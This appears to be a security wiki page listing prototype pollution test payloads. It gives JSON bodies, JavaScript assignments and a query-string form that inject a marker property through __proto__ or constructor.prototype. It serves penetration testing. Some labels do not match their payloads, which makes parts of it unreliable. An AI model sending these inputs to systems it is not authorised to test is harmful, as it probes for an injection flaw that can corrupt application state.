Prototype pollution
What is it?
Payloads
# Simple `__proto__` Assignment (Key-Value)
{"__proto__": {"test": true}}
# Simple `constructor.prototype` Assignment (Key-Value)
{"constructor": {"prototype": {"test": true}}}
# Direct Property Assignment (Bracket Notation)
{"__proto__[test]": true}
# Direct Prototype Assignment (Dot Notation)
{"__proto__.test": true}
# Using `constructor.prototype` (Dot Notation)
{"constructor.prototype.test": true}
# Overwrite `__proto__` Object
{"__proto__": "test"}
# Empty Object Injection
{"__proto__": {}}
# Nullify Prototype
{"__proto__": null}
# Constructor Manipulation
{"constructor": {"test": true}}
# Prototype Chain Poisoning
{"constructor": {"prototype": {"__proto__": {"test": true}}}}
# Array Pollution
{"__proto__": []}
# Function Prototype Pollution
{"__proto__.constructor.prototype.test": true}
# Recursive Prototype Chain
{"__proto__.constructor.prototype.__proto__.test": true}
# Boolean Prototype
{"__proto__": {"constructor": {"prototype": {"test": true}}}}
# Constructor Pollution via Function
{"constructor": {"prototype": {"constructor": {"prototype": {"test": true}}}}}
# Combination Payloads
{"__proto__.test": true, "constructor.prototype.test": true}
# `__proto__` Bracket Notation Assignment
Object.__proto__["test"] = true
# `__proto__` Dot Notation Assignment
Object.__proto__.test = true
# `constructor.prototype` Dot Notation Assignment
Object.constructor.prototype.test = true
# `constructor.prototype` Bracket Notation Assignment
Object.constructor["prototype"]["test"] = true
# Overwrite `__proto__` Object using JSON
{"__proto__": {"test": true}}
# `__proto__` with Specific Property
{"__proto__.name":"test"}
# Array Style Bracket Notation with `__proto__`
x[__proto__][test] = true
# Dot Notation with `__proto__`
x.__proto__.test = true
# Bracket Notation with `__proto__` (short)
__proto__[test] = true
# Dot Notation with `__proto__` (short)
__proto__.test = true
# Query Parameter Pollution
?__proto__[test]=true
Last updated